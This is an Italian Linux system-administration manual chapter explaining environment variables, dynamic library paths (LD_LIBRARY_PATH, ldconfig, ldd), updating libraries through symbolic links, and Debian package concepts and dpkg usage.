A volte, perché il programma possa funzionare, è necessario predisporre o modificare il contenuto di alcune variabili di ambiente. Il caso più comune è costituito da ***PATH*** che deve (o dovrebbe) contenere anche il percorso necessario ad avviare il nuovo programma. Spesso, i file di documentazione che accompagnano il software indicano chiaramente tutte le variabili che devono essere presenti durante il loro funzionamento.

La dichiarazione di queste variabili può essere collocata direttamente in uno dei file di configurazione della shell utilizzata (per esempio '`/etc/profile`', oppure '`~/.bash_profile`' o altri ancora a seconda di come è organizzato il proprio sistema).

7.4.3 Librerie dinamiche

Alcuni programmi utilizzano delle librerie non standard che spesso vengono collocate al di fuori delle directory predisposte per contenerle. Per fare in modo che queste librerie risultino disponibili, ci sono due modi possibili:

1. modificare la configurazione di '`/etc/ld.so.cache`';
2. utilizzare la variabile di ambiente ***LD_LIBRARY_PATH***.

Per agire secondo la prima possibilità, occorre comprendere come è organizzato questo meccanismo. Il file '`/etc/ld.so.cache`' viene creato a partire da '`/etc/ld.so.conf`' che contiene semplicemente un elenco di directory destinate a contenere librerie. Il programma '**`ldconfig`**' serve proprio a ricreare il file '`/etc/ld.so.cache`' leggendo '`/etc/ld.so.conf`', pertanto viene avviato solitamente dalla stessa procedura di inizializzazione del sistema, allo scopo di garantire che questo file sia sempre aggiornato.

Dovrebbe essere chiaro, ormai, il modo giusto di includere nuovi percorsi di librerie nel file '`/etc/ld.so.cache`': occorre indicare questa o queste directory nel file '`/etc/ld.so.conf`' e quindi basta avviare il programma '**`ldconfig`**'.

L'utilizzo della variabile di ambiente ***LD_LIBRARY_PATH*** è meno impegnativo, ma soprattutto, in questo modo si può intervenire facilmente attraverso dei semplici script. Ciò permette, per esempio, di fare in modo che solo un certo programma «veda» certe librerie. In ogni caso, quando si intende usare questa variabile di ambiente, è importante ricordare di includere tra i vari percorsi anche quelli standard: '`/lib/`', '`/usr/lib/`' e '`/usr/local/lib/`'. L'esempio seguente rappresenta un pezzo di uno script (potrebbe trattarsi di '`/etc/profile`') in cui viene assegnata la variabile di ambiente in questione.

```
LD_LIBRARY_PATH=/lib:/usr/lib:/usr/local/lib:/opt/mio_prog/lib
export LD_LIBRARY_PATH
```

Se un certo programma richiede determinate librerie che potrebbero entrare in conflitto con altri programmi, è indispensabile l'utilizzo della variabile di ambiente ***LD_LIBRARY_PATH***, configurandola esclusivamente nell'ambito del processo di quel programma. In pratica, si tratta di avviare il programma attraverso uno script che genera l'ambiente adatto, in modo che non si rifletta negli altri processi, come mostrato nell'esempio seguente:

```
#! /bin/sh
#
# Modifica il percorso di ricerca delle librerie.
#
LD_LIBRARY_PATH="/opt/mio_programma/lib:$LD_LIBRARY_PATH"
export LD_LIBRARY_PATH
#
# Avvia il programma.
#
mio_programma
#
# Al termine dello script non restano tracce dei cambiamenti.
#
```

Avviando lo script, viene modificata la variabile di ambiente ***LD_LIBRARY_PATH*** per quel processo e per i suoi discendenti (viene esportata), quindi, al termine del programma termina lo script e con lui anche gli effetti di queste modifiche.

Si osservi in particolare il fatto che nella nuova definizione del percorso delle librerie, viene posto all'inizio quello per le librerie specifiche del programma, in modo che venga utilizzato per primo; subito dopo, viene inserito l'elenco dei percorsi eventualmente già esistente.

Teoricamente, è necessario soltanto che i file delle librerie siano accessibili in lettura, perché possano essere utilizzate dai programmi; tuttavia, per motivi di sicurezza, potrebbe essere richiesto anche il permesso di esecuzione attivo. In particolare, con i sistemi GNU/Linux è indispensabile che le librerie utilizzate da Init ('`/sbin/init`') dispongano dei permessi di esecuzione.

7.4.4 Verifica delle librerie utilizzate dagli eseguibili

Il programma '**ldd**' emette l'elenco delle librerie condivise richieste dai programmi indicati come argomenti della riga di comando:

```
ldd [opzioni] programma...
```

Si utilizza '**ldd**' per determinare le dipendenze di uno o più programmi dalle librerie. Naturalmente, si può verificare anche la dipendenza di un file di libreria da altre librerie.

L'esempio seguente mostra le dipendenze dalle librerie di '/bin/bash'. Il risultato ottenuto indica il nome delle librerie e la collocazione effettiva nel sistema, risolvendo anche eventuali collegamenti simbolici.

$ **ldd /bin/bash** [*Invio*]

```
libncurses.so.5 => /lib/libncurses.so.5 (0x40019000)
libdl.so.2 => /lib/libdl.so.2 (0x40059000)
libc.so.6 => /lib/libc.so.6 (0x4005c000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

7.5 Aggiornamento delle librerie standard

Oltre al problema delle librerie specifiche di un programma particolare, ci può essere la necessità di aggiornare le librerie standard del sistema operativo, a seguito di qualche aggiornamento di altro software.

Normalmente, la propria distribuzione GNU dovrebbe offrire questi aggiornamenti in forma di archivi già pronti, installabili attraverso il proprio sistema di gestione dei pacchetti. Ciò garantendo la sistemazione di dettagli importanti.

Quando si è costretti a fare da soli è importante essere attenti. In particolare, dovendo intervenire in ciò che risiede nella directory '/lib/', se si commette un errore, si rischia di bloccare il sistema senza possibilità di rimedio.

I file delle librerie sono organizzati normalmente con un numero di versione piuttosto articolato. Quando ciò accade, è normale che questi file siano affiancati da dei collegamenti simbolici strutturati in modo che si possa accedere a quelle librerie anche attraverso l'indicazione di versioni meno dettagliate, oppure semplicemente attraverso nomi differenti. I collegamenti in questione sono molto importanti perché ci sono dei programmi che dipendono da questi; quando si aggiorna una libreria occorre affiancare la nuova versione a quella vecchia, quindi si devono modificare i collegamenti relativi. Solo alla fine, sperando che tutto sia andato bene, si può eliminare eventualmente il vecchio file di libreria.

Per fare un esempio pratico, si suppone di disporre della libreria 'libc.so.9.8.7', articolata nel modo seguente:

```
libc.so -> libc.so.9
libc.so.9 -> libc.so.9.8.7
libc.so.9.8.7
```

Volendo sostituire questa libreria con la versione 9.8.10, il cui file ha il nome ‘`libc.so.9.8.10`’, occorre procedere come segue:

`ln -s -f libc.so.9.8.10 libc.so.9` [*Invio*]

Come si vede, per generare il collegamento, è stato necessario utilizzare l’opzione ‘**`-f`**’ che permette di sovrascrivere il collegamento preesistente. Infatti, non sarebbe stato possibile eliminare prima il collegamento vecchio, perché così si sarebbe rischiato il blocco del sistema.

```
libc.so -> libc.so.9
libc.so.9 -> libc.so.9.8.10
libc.so.9.8.7
libc.so.9.8.10
```

In generale, per sicurezza, è meglio lasciare le librerie vecchie, perché ci potrebbero essere ugualmente dei programmi che ne hanno ancora bisogno.

Quando la libreria da aggiornare ha subito un aggiornamento molto importante, per cui i numeri delle versioni sono molto distanti rispetto a quanto si utilizzava prima, conviene evitare di sostituirle, mentre è solo il caso di affiancarle. Volendo ritornate all’esempio precedente, si può supporre che la libreria da aggiornare sia arrivata alla versione 10.1.1, con il file ‘`libc.so.10.1.1`’. Intuitivamente si comprende che il collegamento simbolico ‘`libc.so.9`’ non può puntare a questa nuova libreria, mentre resta il dubbio per ‘`libc.so`’.

In generale è meglio lasciare stare le cose come sono, a meno di scoprire che qualche programma cerca proprio la libreria ‘`libc.so`’ e si lamenta perché non si tratta della versione adatta a lui. Comunque, sempre seguendo l’esempio, sarebbe il caso di riprodurre un collegamento equivalente a ‘`libc.so.9`’, denominato ovviamente ‘`libc.so.10`’.

```
libc.so -> libc.so.9
libc.so.9 -> libc.so.9.8.7
libc.so.9.8.7
libc.so.10 -> libc.so.10.1.1
libc.so.10.1.1
```

7.6 Pacchetti applicativi confezionati appositamente per le distribuzioni GNU

Ogni distribuzione GNU utilizza un metodo per il confezionamento dei pacchetti (blocchi) che compongono l’intero sistema. Il problema principale è quello di tenere traccia della collocazione dei file di ogni applicazione, delle sue dipendenze da altri pacchetti e di permetterne l’aggiornamento o l’eliminazione senza danneggiare il sistema e senza lasciare file ignoti inutilizzati.

Ogni distribuzione GNU particolare può avere un’attenzione differente rispetto alla preparazione e alla gestione del sistema che si occupa di installare e disinstallare questi pacchetti. È il caso di citare la distribuzione Debian, a cui si rifanno altre distribuzioni derivate, in cui tale sistema è abbastanza complesso. Naturalmente, una gestione troppo semplificata dei pacchetti di applicativi è un incentivo all’utilizzo della distribuzione per un principiante, ma poi tutto questo si traduce in gravi difficoltà nel momento in cui si vuole aggiornare la distribuzione, o semplicemente si desidera fare qualcosa di più rispetto al solito.

7.6.1 Distinguere tra «pacchetti» e «archivi»

Per evitare di fare confusione, sarebbe bene distinguere tra il «pacchetto», che rappresenta un componente installato, da installare, o da eliminare dal sistema, rispetto al suo contenitore, noto come «archivio». Per esempio, si può dire che l'archivio '`make_3.77-4.deb`' contenga il pacchetto '**`make`**' nella versione 3.77-4.

Purtroppo, questa distinzione non viene utilizzata da tutti; ci sono distribuzioni in cui si parla indifferentemente di «pacchetto» per fare riferimento all'archivio che lo contiene e a ciò che si ottiene installandolo. Questa anomalia, poi, la si riscontra anche nelle sigle usate nelle opzioni della riga di comando, dove potrebbe capitare che si utilizzi la lettera «p» (*package*) per fare riferimento ai file degli archivi.

7.6.2 Binari e sorgenti

Gran parte del software distribuito con i sistemi GNU è sottoposto alla licenza GNU-GPL (*GNU general public license*, appendice B), che impone la disponibilità dei sorgenti. Per questo motivo, una distribuzione GNU, oltre a organizzare i pacchetti compilati e archiviati opportunamente, quando richiesto dalla licenza deve mettere a disposizione i sorgenti, assieme alle modifiche eventuali, generalmente in forma di file di differenze. Si distingue così tra pacchetti binari (archiviati in qualche modo) e pacchetti sorgenti.

Il pacchetto binario si compone dei file già compilati e pronti per essere collocati dove previsto. Il pacchetto sorgente è qualcosa di diverso: contiene l'archivio originale dell'applicativo (quello dei sorgenti), assieme a tutte le informazioni necessarie per modificarlo e per compilarlo nel modo più appropriato per la distribuzione GNU in cui deve essere installato. Inoltre, dovrebbe contenere le informazioni necessarie a generare il pacchetto binario relativo.

In generale, quando si parla di «pacchetti», si fa riferimento implicitamente a quelli contenenti i binari, o comunque i file finali da installare.

7.6.3 Interdipendenza tra i pacchetti

I pacchetti, ovvero i vari blocchi in cui è suddiviso il software, devono convivere in modo armonico nel sistema. Questo fatto sembra ovvio, ma la cosa più difficile da definire è proprio la relazione corretta tra questi.

Con il termine «dipendenza», si fa riferimento al fatto che un pacchetto può dipendere da altri per il suo funzionamento. In pratica, se il pacchetto «A» richiede che sia presente anche il pacchetto «B», si dice che «A» dipende da «B». Con il termine «incompatibilità», si fa riferimento al fatto che un pacchetto non può coesistere con un altro per qualche ragione. Per esempio, se il pacchetto «A» non può stare assieme a «C» si dice che «A» è incompatibile con «C».

I due concetti sono abbastanza semplici, ma a questi se ne aggiunge un altro: la dipendenza prima dell'installazione. Infatti, un pacchetto potrebbe dipendere da un altro che deve essere già presente prima che questo venga installato. A questo proposito, si parla a volte di «pre-dipendenza». Questo tipo di dipendenza impone quindi un ordine nell'installazione dei pacchetti.

In certi casi, un pacchetto può dipendere da una funzionalità che può essere offerta da diversi altri pacchetti. Per esempio, un programma può richiedere la presenza del comando '**`mail`**'

per inviare dei messaggi; più in generale questo dipenderebbe dalla funzionalità di invio della posta elettronica. Nel caso della distribuzione Debian, si parla di «pacchetti virtuali», per fare riferimento a queste funzionalità generiche da cui possono dipendere altri pacchetti reali.

7.6.4 Fasi dell'installazione e della disinstallazione di un pacchetto

Da quanto esposto, si possono intuire alcune delle fasi riferite all'installazione e alla disinstallazione di un pacchetto:

- prima dell'installazione occorre verificare che siano rispettate le dipendenze e che non ci siano incompatibilità;
- prima della disinstallazione occorre verificare che non ci siano altri pacchetti che rimangono installati e dipendono da quello che si vuole eliminare.

Ma i problemi non si limitano a questi. Infatti, un pacchetto che si installa può richiedere la predisposizione di qualcosa, come dei collegamenti simbolici, dei file di dispositivo nella directory '`/dev/`' e dei file di configurazione. In generale, gli archivi dei pacchetti utilizzati dalle distribuzioni GNU contengono degli script realizzati specificatamente per questo, cioè per sistemare le cose in fase di installazione e anche quando si disinstalla un pacchetto. Volendo si può arrivare a distinguere tra quattro script corrispondenti ad altrettante fasi:

1. uno script da eseguire prima dell'estrazione dell'archivio contenente il pacchetto da installare;
2. uno script da eseguire dopo l'estrazione dell'archivio contenente il pacchetto da installare;
3. uno script da eseguire prima della cancellazione dei file che compongono un pacchetto da disinstallare;
4. uno script da eseguire dopo la cancellazione dei file che compongono un pacchetto da disinstallare.

Naturalmente, dipende dalle caratteristiche di un pacchetto il fatto che siano necessari o meno questi script. In generale, la configurazione rappresenta un problema che viene affrontato in maniera differente dalle varie distribuzioni GNU.

La configurazione può richiedere di fatto la creazione o la modifica di un file di testo, secondo una sintassi determinata, oppure l'interazione con un programma apposito (che si occupa di fare le domande necessarie e di memorizzare le risposte nel modo più appropriato). I file che contengono le informazioni sulla configurazione di un pacchetto, fanno parte del pacchetto stesso e sono candidati per la cancellazione nel momento in cui si decide di disinstallarlo. Tuttavia, il sistema di gestione dei pacchetti potrebbe distinguere opportunamente il caso in cui si vuole disinstallare un pacchetto conservando però i file di configurazione, rispetto al caso in cui si vuole eliminare tutto senza porsi problemi di alcun tipo.

A parte il dettaglio importante relativo al fatto di trattare in modo distinto i file di configurazione nel momento della disinstallazione, le distribuzioni GNU possono differenziarsi in modo notevole in base alla gestione della configurazione stessa. In pratica si potrebbero avere due estremi:

- definire una configurazione minima e indispensabile **prima** di iniziare una nuova installazione della distribuzione GNU, lasciando che il resto venga fatto dall'utilizzatore quando vuole, dopo che l'installazione è terminata;
- definire la configurazione mano a mano che i pacchetti vengono installati.

Nel primo caso, la procedura di installazione si limiterebbe a chiedere le informazioni indispensabili per il completamento della stessa (i dischi, le partizioni, la tastiera, eventualmente la rete, ecc.); successivamente verrebbero installati i pacchetti senza disturbare più l'utilizzatore, che alla fine deve configurare per conto proprio i servizi che gli interessano.

Nel secondo caso, ogni volta che si installa un pacchetto che richiede una configurazione (indipendentemente dal fatto che si tratti della prima installazione della distribuzione o che si tratti di un lavoro fatto in seguito), gli script che lo corredano interrogano l'utilizzatore su come configurare, almeno in modo grossolano, ciò che serve.

Tra i due estremi ci sono delle situazioni intermedie, nelle quali si possono fissare alcune informazioni che tornano utili ai pacchetti più importanti, già in fase di prima installazione, in modo da alleggerire il carico di notizie da fornire nel momento della configurazione finale legata all'installazione del singolo pacchetto.

L'esempio tipico di una distribuzione GNU in cui la configurazione avviene mano a mano che i pacchetti vengono installati è quello della Debian. Quando si installa un pacchetto nuovo in un sistema GNU già funzionante, il fatto che durante l'installazione vengano richieste (eventualmente) le informazioni necessarie a dargli una configurazione minima, è sicuramente un fatto positivo. Tuttavia, quando l'utente inesperto tenta di installare per la prima volta questa distribuzione dopo avere selezionato una grande quantità di pacchetti, questo si trova disorientato di fronte alla quantità di cose che devono essere configurate e che non sono state previste, oltre all'eccessiva quantità di tempo necessaria per completare l'installazione.

Da quanto scritto si intuisce che: di fronte a una distribuzione GNU organizzata in modo da gestire la configurazione dei pacchetti mano a mano che questi vengono installati, è indispensabile, in fase di prima installazione del sistema, iniziare con la selezione del minimo possibile, riservandosi di aggiungere ciò che manca in un momento successivo.

7.6.5 Caratteristiche di un pacchetto nei confronti di un sistema funzionante

Un sistema sofisticato di gestione dei pacchetti di una distribuzione GNU, potrebbe non limitarsi a riportare il fatto che un pacchetto sia installato o meno, dando qualche informazione in più. Un pacchetto potrebbe essere:

- non installato;
- installato (correttamente);
- non installato, ma con i file di configurazione ancora presenti (in pratica, è stato installato e successivamente disinstallato senza eliminare i file di configurazione);
- installato in parte (l'archivio è stato estratto, ma gli script necessari al completamento della procedura hanno rilevato un qualche tipo di errore, per cui il pacchetto potrebbe non essere utilizzabile).

7.6.6 Aggiornamento

L'aggiornamento di un pacchetto implica la sostituzione di quello installato con uno di una versione più aggiornata. Si tratta di un problema comune, tuttavia pone dei problemi importanti. Un aggiornamento, perché non vada a danno di chi lo fa, dovrebbe preservare la sua configurazione precedente. In pratica, se il pacchetto «A» utilizza il file di configurazione '`/etc/A.conf`', è bene che questo file non venga sovrascritto, o almeno venga conservato in qualche modo.

La politica delle distribuzioni GNU può essere varia:

- i file di configurazione potrebbero essere sostituiti senza salvare quelli precedenti;
- i file di configurazione potrebbero essere sostituiti salvandone una copia a cui viene data un'estensione particolare;
- i file di configurazione potrebbero non essere sostituiti, affiancando eventualmente la nuova versione standard di questi file con un'estensione particolare.

Tanto per fare un esempio pratico, le distribuzioni basate su archivi RPM (*Red Hat package manager*) salvano i file di configurazione precedenti utilizzando l'estensione '`.rpmorig`', mentre le distribuzioni basate su pacchetti Debian affiancano eventualmente una copia della configurazione nuova, distinguendola con l'aggiunta dell'estensione '`.dpkg-dist`'.[2]

7.6.7 File di configurazione comuni

Alcuni pacchetti potrebbero condividere uno stesso file di configurazione, oppure potrebbero dipenderne in qualche modo. Ciò comporta dei problemi che non sono facili da risolvere in generale, tanto che si cerca di evitare il più possibile tale sovrapposizione. Il caso più evidente di una dipendenza del genere è quello dei file '`/etc/passwd`' e '`/etc/group`', per i quali potrebbe essere richiesta una modifica ogni volta che si installa un servizio particolare a cui si deve associare un utente fittizio specifico, oppure un gruppo.

7.7 Pacchetti Debian

I pacchetti della distribuzione GNU/Linux Debian sono archiviati in modo differente, a seconda che si tratti di pacchetti binari o di pacchetti sorgenti. I pacchetti binari, cioè tutto quello che può essere usato così come si trova (compresa la documentazione), è archiviato nel formato Debian ('`.deb`'), mentre i sorgenti sono composti da terne di file: una descrizione contenuta in un file con estensione '`.dsc`', l'archivio dei sorgenti originali in un file con estensione '`.orig.tar.gz`' e un file di differenze da applicare ai sorgenti originali, in questo caso con l'estensione '`.diff.gz`'.

Il nome di un archivio contenente un pacchetto binario Debian ha una struttura riassumibile nello schema seguente:

nome*_*versione*-*revisione `.deb`

Un pacchetto Debian binario, oltre ai file che compongono il pacchetto e che vengono installati, contiene:

- un file di «controllo» (‘`control`’), con quasi tutte le informazioni relative al pacchetto, in particolare le sue dipendenze;
- un file contenente l’elenco dei file di configurazione, per i quali occorre avere un occhio di riguardo (‘`conffiles`’);
- due coppie di script che controllano la fase di installazione e quella di disinstallazione del pacchetto (‘`preinst`’, ‘`postinst`’, ‘`prerm`’, ‘`postrm`’).

7.7.1 Priorità di un pacchetto

A ogni pacchetto Debian viene attribuita una priorità, rappresentata da una definizione standard. Questa permette di facilitare la scelta dei pacchetti da installare. Si usano le parole chiave seguenti:

Parola chiave	Significato	Descrizione
`required`	richiesto	indica un pacchetto necessario per il funzionamento elementare del sistema;
`important`	importante	indica un pacchetto importante per il buon funzionamento del sistema;
`standard`	standard	indica un pacchetto che fa parte di software comune in un sistema GNU, senza richiedere la presenza del sistema grafico X;
`optional`	opzionale	indica un pacchetto opzionale;
`extra`	extra	indica un pacchetto destinato a un uso specializzato, o che va in conflitto con altri pacchetti di livello precedente.

È interessante osservare che il livello di priorità è un’informazione che normalmente non è contenuta nei pacchetti, ma viene attribuita all’esterno di questi. La si ritrova nei file ‘`Packages`’ e ‘`Packages.cd`’, la cui descrizione viene fatta in seguito.

7.7.2 Dipendenze secondo i pacchetti Debian

Come accennato, il file di controllo contiene in particolare le informazioni sulle dipendenze del pacchetto. Secondo la logica di Debian, le dipendenze avvengono sempre in relazione a «pacchetti»: quando si tratta di una dipendenza da una funzionalità, questa viene identificata attraverso un «pacchetto virtuale». L’esempio seguente è un estratto delle informazioni relative al pacchetto ‘**`apache-ssl`**’, dove si vede l’uso delle definizioni di quasi tutti i tipi di dipendenza e di incompatibilità:

```
Depends: libc6 (>= 2.0.7u-6), libssl09, mime-support, perl, ...
Suggests: apache-doc, lynx
Conflicts: apache-modules, php3 (<= 3.0.3-1), libapache-mod-perl (<= 1.15-2.1)
Replaces: apache-modules
Provides: httpd
```

Le varie parole chiave hanno il significato seguente:

Parola chiave	Significato	Descrizione
`depends`	dipende	indica un elenco di pacchetti indispensabili, eventualmente con il livello di versione richiesto, che devono essere presenti perché questo possa funzionare;
`recommends`	raccomanda	indica un elenco di pacchetti raccomandati, anche se non indispensabili, perché il pacchetto che si installa possa essere utilizzato opportunamente;
`suggests`	suggerisce	indica un elenco di pacchetti suggeriti, che starebbero bene assieme a quello che si installa;
`conflicts`	contrasta	indica un elenco di pacchetti che non possono convivere assieme a questo;
`replaces`	sostituisce	indica un elenco di pacchetti che vengono rimpiazzati da questo;
`provides`	fornisce	indica un elenco di pacchetti che rappresentano le funzionalità offerte da questo (si tratta in pratica di pacchetti virtuali).

Le parole chiave utilizzate sono verbi posti alla terza persona singolare, come dire che «il pacchetto A: dipende da... raccomanda... suggerisce... va in conflitto con... sostituisce... fornisce le funzionalità...». Osservando l'esempio, il pacchetto in questione fornisce le funzionalità '**`httpd`**' (in questo caso un pacchetto virtuale), ovvero quelle di un servente HTTP, è incompatibile con il pacchetto '**`apache-modules`**' e con altri se hanno una versione troppo vecchia, inoltre va a sostituire lo stesso pacchetto '**`apache-modules`**'.

7.7.3 Stato di un pacchetto

Secondo la logica del sistema di gestione dei pacchetti Debian, lo stato di un pacchetto può avere tre gruppi di caratteristiche: lo stato in relazione a ciò che è installato nel sistema, lo stato di selezione e alcune caratteristiche speciali. Rispetto al sistema, un pacchetto può essere:

Parola chiave	Significato	Descrizione
`installed`	installato	il pacchetto risulta installato correttamente nel sistema e anche la configurazione è stata completata;
`half-installed`	semi-installato	l'installazione del pacchetto non è stata completata per qualche ragione;
`not-installed`	non installato	il pacchetto non risulta installato;
`unpacked`	estratto	il pacchetto risulta estratto dall'archivio, ma non è stato configurato;
`half-configured`	semi-configurato	il pacchetto risulta estratto dall'archivio e la configurazione non è stata completata per qualche ragione;
`config-files`	file di configurazione	del pacchetto sono presenti solo i file di configurazione.

Il sistema di installazione e disinstallazione dei pacchetti Debian è in realtà una procedura, con la quale si «prenotano» delle operazioni che poi vengono eseguite in sequenza. Sotto questo aspetto, un pacchetto che in qualche modo sia «conosciuto» da questa procedura ha anche uno stato di selezione (come già accennato) che può essere:

Parola chiave	Significato	Descrizione
`unknown`	sconosciuto	quando non è mai stata richiesta la sua installazione (e di conseguenza non è nemmeno installato);
`install`	da installare	quando è stata richiesta la sua installazione, o il suo aggiornamento;
`remove` `deinstall`	da togliere	quando è stata richiesta la sua disinstallazione normale, cioè senza cancellare i file di configurazione;
`purge`	da eliminare completamente	quando è stata richiesta la sua eliminazione totale, comprendendo anche i file di configurazione.

Infine, un pacchetto può essere stato marcato in modo che non venga aggiornato o sostituito con un'altra versione, '**`hold`**', oppure può essere stato marcato dal sistema di gestione dei pacchetti perché risulta danneggiato in qualche modo e in tal senso viene indicato come candidato alla reinstallazione, '**`reinst-required`**'.

Per conoscere lo stato di un pacchetto si può usare '**`dpkg`**' richiedendo l'azione '**`-l`**'. L'esempio seguente mostra l'elenco di alcuni pacchetti con l'indicazione del loro stato:

$ **`dpkg -l`** [*Invio*]

```
Desired=Unknown/Install/Remove/Purge
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name            Version        Description
+++-===============-==============-============================================
ii  gnome-admin     1.0.1-1        Gnome Admin Utilities (gulp and logview)
ii  gnome-bin       1.0.3-1        Miscellaneous binaries used by Gnome
rc  gnome-card-game 1.0.1-4        Gnome card games - Solitaire games (FreeCell
rc  gnome-control-c 0.30-2         The Gnome Control Center
ii  gnome-core      1.0.1-0.3      Common files for Gnome core apps and help br
ii  gnome-dev-doc   1.0.3-1        Gnome developers documentation
pn  gnome-games     <none>         (no description available)
ii  gnome-games-loc 1.0.1-4        The locale databases for the gnome-games pa
rc  gnome-gnibbles  1.0.1-4        A cute little game that has no description
rc  gnome-gnobots   1.0.1-4        Gnome version of text based robots game for
pn  gnome-guile     <none>         (no description available)
un  gnome-gxnsnmp   <none>         (no description available)
pn  gnome-gxsnmp    <none>         (no description available)
ii  gnome-terminal  1.0.1-0.3      The Gnome terminal emulator application
```

Tabella 7.13. Significato delle lettere utilizzate nelle prime tre colonne del rapporto generato con '**`dpkg -l`**'.

Colonna	Sigla	Sintesi	Significato
1	u	*unknown*	Pacchetto sconosciuto.
1	i	*install*	Pacchetto da installare.
1	r	*remove*	Pacchetto da rimuovere (lasciando la configurazione).
1	p	*purge*	Pacchetto da eliminare completamente.

Colonna	Sigla	Sintesi	Significato
2	n	*not installed*	Pacchetto non installato.
2	i	*installed*	Pacchetto installato.
2	c	*configuration*	Sono presenti solo i file di configurazione.
2	u	*unpacked*	Pacchetto estratto dall'archivio, ma non configurato.
2	f	*failed configuration*	Configurazione interrotta.
2	h	*hold*	Installazione interrotta.

Colonna	Sigla	Sintesi	Significato
3			Nessuno stato particolare.
3	h	*hold*	Segnato per la conservazione alla versione attuale.
3	r	*reinstall*	Si richiede la reinstallazione.
3	x	*hold and reinstall*	Equivalente a «h» e a «r» messi assieme.

7.7.4 Disponibilità di un pacchetto

La gestione dei pacchetti Debian, richiede che i programmi che ne consentono l'installazione, siano in grado di sapere quali sono i pacchetti effettivamente disponibili. I pacchetti disponibili sono quelli che si trovano in una distribuzione su CD-ROM, DVD-ROM, in una copia locale nel file system (eventualmente condiviso in rete), in un sito Internet,... In ogni caso, tali informazioni sono contenute in un file che accompagna i pacchetti (uno per ogni raggruppamento principale) e si tratta di '`Packages`', o '`Packages.cd`' nel caso di distribuzioni suddivise su più dischi (CD-ROM, DVD-ROM o unità di memorizzazione di altro tipo che possono essere sostituite durante l'installazione).

7.7.5 Stratificazione degli strumenti di gestione dei pacchetti Debian

Gli strumenti per la gestione dei pacchetti Debian sono molti e sono fatti per intervenire a livelli diversi. La figura 7.14 mostra la piramide, alla base della quale si trovano gli strumenti fondamentali.

Figura 7.14. Gerarchia semplificata tra gli strumenti di gestione dei pacchetti Debian.

In breve:

- '**`dpkg-deb`**' interviene solo al livello di archivi Debian, consentendo l'estrazione e l'archiviazione in questo formato;

- '**dpkg-split**' è uno strumento aggiuntivo in grado di suddividere e riassemblare assieme gli archivi Debian, in modo da poterli gestire in file più piccoli, soprattutto quando questi devono essere trasportati su unità di memorizzazione a capacità limitata;
- Dpkg (l'eseguibile '**dpkg**') interviene nei pacchetti Debian, a livello elementare, consentendone l'installazione e la loro disinstallazione, avvalendosi eventualmente di '**dpkg-deb**' quando necessario;
- '**apt-get**' interviene nei pacchetti Debian, a livello più evoluto di Dpkg, essendo in grado di risolvere da solo molti problemi di dipendenze;
- Dselect si trova al livello più alto per la gestione dei pacchetti (assieme a APT) e si avvale di tutti gli strumenti inferiori;
- APT è un sistema di strumenti paralleli a Dselect, composto da diversi programmi frontali alternativi che poi si avvalgono di '**apt-get**' per lo svolgimento dei loro compiti.

7.7.6 Gestione elementare attraverso gli strumenti fondamentali

Per l'installazione e la disinstallazione dei pacchetti Debian, lo strumento più banale è dato da Dpkg,[3] composto dall'eseguibile '**dpkg**'. Questo è in grado di utilizzare a sua volta anche '**dpkg-deb**', quando si vuole intervenire a livello di archivio Debian.

```
dpkg [opzioni] azione
```

Alla fine della riga di comando dell'eseguibile '**dpkg**' deve apparire l'indicazione di un'azione, che può essere preceduta da alcune opzioni. Come si intuisce, l'azione stabilisce cosa debba essere fatto, mentre le opzioni ne alterano l'ambito. Qui viene mostrato solo l'uso di alcune azioni, perché per le altre conviene agire attraverso strumenti di livello superiore. Non viene mostrato l'uso delle opzioni, comunque si può approfondire l'uso di Dpkg consultando la pagina di manuale *dpkg(8)*.

Tabella 7.15. Alcune opzioni.

Opzione	Descrizione
`-c` ***archivio_debian...*** `--contents` ***archivio_debian...***	Questa azione richiama l'utilizzo di '**dpkg-deb**' allo scopo di mostrare l'elenco dei file contenuti nell'archivio Debian indicato come argomento.
`-f` ***archivio_debian...*** `--field` ***archivio_debian...***	Questa azione richiama l'utilizzo di '**dpkg-deb**' allo scopo di mostrare le informazioni di controllo sui pacchetti contenuti negli archivi elencati.
`-I` ***archivio_debian...*** `--info` ***archivio_debian...***	Questa azione richiama l'utilizzo di '**dpkg-deb**' allo scopo di mostrare tutte le informazioni disponibili sui pacchetti contenuti negli archivi elencati.
`-i` ***archivio_debian...*** `--install` ***archivio_debian...***	Installa o aggiorna i pacchetti contenuti negli archivi indicati come argomento. Questa azione può essere abbinata all'opzione '**-R**', o '**--recursive**', allo scopo di installare tutti i pacchetti i cui archivi si trovano in una directory, che diventerebbe quindi l'argomento di questa azione. L'installazione del pacchetto include anche la configurazione dello stesso.

Opzione	Descrizione
`--configure` ***pacchetto...***	Richiede espressamente di eseguire la configurazione dei pacchetti indicati (ammesso che questi non risultino già installati e configurati correttamente).
`-r` ***pacchetto...*** `--remove` ***pacchetto...***	Rimuove i pacchetti indicati, senza eliminare i file di configurazione.
`-P` ***pacchetto...*** `--purge` ***pacchetto...***	Elimina completamente i pacchetti indicati, compresi i file di configurazione.
`-l` [***modello_pacchetti...***] `--list` [***modello_pacchetti...***]	Mostra l'elenco dei pacchetti corrispondenti ai modelli indicati (si usano i caratteri jolly comuni, proteggendoli in modo che la shell non li interpreti direttamente). Se vengono indicati dei modelli, vengono fornite informazioni su tutti i pacchetti conosciuti, non solo quelli installati, mentre utilizzando l'azione senza argomenti, si ottengono informazioni solo sui pacchetti installati, o che comunque hanno mantenuto i file di configurazione.
`-s` ***pacchetto...*** `--status` ***pacchetto...***	Mostra le informazioni sullo stato dei pacchetti indicati, aggiungendo anche la descrizione se il pacchetto risulta installato. In questo caso non si possono più utilizzare i caratteri jolly.
`-L` ***pacchetto...*** `--listfiles` ***pacchetto...***	Elenca i file che appartengono a un pacchetto, in base a quanto contenuto nell'archivio originale. Tuttavia, non è possibile conoscere in questo modo quali file sono stati creati dagli script di installazione del pacchetto stesso.
`-S` ***modello_file...*** `--search` ***modello_file...***	Permette di fare una ricerca per trovare a quali pacchetti appartengono i file indicati come argomento, con o senza l'ausilio di caratteri jolly. In particolare, se si indica un nome o un modello senza l'indicazione di un percorso, si ottengono tutti i pacchetti che hanno file o directory con quel nome.
`-C` `--audit`	Controlla i pacchetti installati per determinare quali sono stati installati solo parzialmente.
